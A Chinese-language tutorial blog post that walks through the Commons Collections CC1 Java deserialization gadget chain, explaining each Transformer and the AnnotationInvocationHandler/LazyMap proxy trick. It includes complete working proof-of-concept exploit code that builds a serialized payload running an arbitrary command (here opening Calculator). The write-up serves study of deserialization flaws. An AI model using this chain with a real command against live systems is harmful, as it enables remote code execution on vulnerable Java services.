前言
之前的urldns链是反序列化利用链中比较简单的,在实战中还是需要能直接执行命令的链,本篇主要分析CC1这个链。
0x01 POC1执行
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
//new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
outerMap.put("test","test");
//触发漏洞
// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
// onlyElement.setValue("foobar");
}
}
0x02 POC1分析
Transformer
在代码的最开始先是new了一个Transformer类型的数组,Transformer本身是一个接口,而new的这个数组是Transformer的实现类对对象:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
//new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
再分别来看数组里面的值:
ConstantTransformer
第一个值:new ConstantTransformer(Runtime.class)
这个方法跟进去之后,看到这个类是实现了Transformer, Serializable接口,里面的ConstantTransformer方法是重写了有参构造,传入的参数就是Runtime.class,然后赋值给属性Object的变量,最终返回回来生成的实例化对象。
下面是断点调试的返回,返回了runtime的类
InvokerTransformer
第二个值:new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
可以看到InvokerTransformer同样实现了Transformer, Serializable接口,并且重写的这个有参构造里面,有三个参数:
第一个是方法名,第二个是参数类型,第三个是参数的值。
- String iMethodName:要调用的方法名
- Class[] iParamTypes:传入方法的参数类型
- Object[] args:要传入的参数
后面一共初始化了三次,每次的参数值为:
第一次:
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
getMethod,null,getRuntime
第二次:
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })
invoke,null,null
第三次:
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
exec,null,Calculator.app
ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
ChainedTransformer这个类将之前的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果再传入下一次的trandform方法中。
第一次执行,将runtime传入到了参数里面
第二次传入Runtime.getRuntime()
第三次将返回的实例化对象传入exec参数里面:
这样通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。
这样链子有了,怎么才能用呢?
TransformedMap
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
查看源码:
可以看到TransformwdMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象,再看下面的put方法,不管是key
还是value
都会间接调用transform
方法,而这里的this.valueTransformer
也就是transformerChain
,也就是说只要构造一个TransformedMap并且去修改value值,就能触发
最终执行弹出计算器。
POC2分析
在上面是我们手动添加了put操作,但是在反序列化中我们需要找到一个类,直接或者间接的调用这种类似put的操作。
这个类就是AnnotationInvocationHandler,他重写了readObject方法:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
然后在yso项目中,作者使用的不是TransformedMap而是LazyMap,LazyMap中可以通过get方法调用transform:
然后AnnotationInvocationHandler中的invoke方法可以调用LazyMap#get:
这里注意调试该链需要用jdk小于8u71的版本,因为之后的版本AnnotationInvocationHandler#readObject方法被官方修改了。
下面为完整POC:
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
//构造runtime.exec("command")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//将数组作为参数生成ChainedTransformer对象
Transformer transformerChain = new ChainedTransformer(transformers);
//构造LazyMap对象,将其属性factory设置为transformerChain
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//反射获取AnnotationInvocationHandler的有参构造方法和class对象
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
//暴力反射
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
这里最后采用了java动态代理机制,创建了动态代理map对象proxymap
动态代理对象与真实对象会实现相同的接口,也就意味着会有相同的方法。
最后传入Map类的动态代理对象proxyMap作为参数重新赋值给handler对象,当调用到被代理对象的任何方法时,都会先调用InvocationHandler
接口中的invoke
方法,而AnnotationInvocationHandler
正好实现了该接口,从而达到命令执行。
总结
最终利用链为:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
参考
https://www.anquanke.com/post/id/248653